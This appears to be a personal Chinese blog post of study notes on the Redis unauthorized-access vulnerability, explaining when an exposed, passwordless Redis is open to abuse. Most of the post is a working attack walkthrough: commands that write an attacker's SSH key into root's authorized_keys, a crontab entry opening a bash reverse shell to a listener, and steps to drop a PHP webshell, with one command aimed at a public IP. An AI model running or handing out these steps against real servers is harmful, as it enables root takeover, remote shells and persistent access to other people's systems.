江鸟's Blog

redies 的个人理解

字数统计: 713阅读时长: 2 min
2021/02/19 Share

近期学习笔记

redies 的个人理解

Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。

redis未授权访问漏洞

redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。

漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

攻击方式

利用“公私钥”认证获得root权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
在攻击机中生成ssh公钥和私钥,密码设置为空:
ssh-keygen -t rsa

进入.ssh目录,将生成的公钥保存到1.txt:
cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):
cat 1.txt | redis-cli -h 182.254.220.49 -x set crack

并使用 CONFIG GET dir 命令得到redis备份的路径:
CONFIG GET dir

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh),并且修改上传公钥文件的名称为authorized_keys

config set dir /root/.ssh
CONFIG SET dbfilename authorized_keys

检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机:
CONFIG GET dbfilename
save

攻击机成功登陆到服务器
ssh -i id_rsa root@192.168.163.132

利用crontab反弹shell

权限足够的情况下,利用redis写入文件到周期性计划任务执行。

1
2
3
4
5
6
7
8
在kali攻击机里面监听指定端口
nc -lvnp 8888

向服务器写入文件
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.163.131/8888 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

写入webshell

1
2
3
4
5
6
7
8
9
10
写入文件到/tmp目录
config set dir /tmp
config set dbfilename shell.php
set webshell "<?php phpinfo(); ?>"
save

写入webshell的时候,可以使用:
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"

\r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
CATALOG
  1. 1. redies 的个人理解
    1. 1.1. 攻击方式
      1. 1.1.1. 利用“公私钥”认证获得root权限
      2. 1.1.2. 利用crontab反弹shell
      3. 1.1.3. 写入webshell